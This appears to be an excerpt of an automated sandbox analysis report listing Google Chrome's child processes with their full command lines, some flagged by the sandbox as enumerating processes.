C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1672 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1988 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2296 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2984 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2956 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3696 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4460 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4380 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4468 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4772 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4984 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4948 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4992 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4736 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5048 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5104 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1584 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4688 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5196 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=904 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4468 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4632 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1144 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5644 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5636 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2240 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3928 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5756 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5572 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2144 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6104 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5820 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5404 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3304 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3428 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2988 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3708 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3024 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3436 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3716 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3892 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5316 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=812 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3940 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3940 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5464 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3156 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5540 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5316 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3272 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3116 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2840 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5820 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4952 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5484 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6356 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6608 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6528 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5420 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6364 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6604 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3704 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4744 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6512 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5944 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5756 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5304 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7016 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7144 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7416 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7276 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7400 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7480 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7116 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7296 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7212 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7184 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=82 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7368 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=83 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6116 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6928 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6960 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
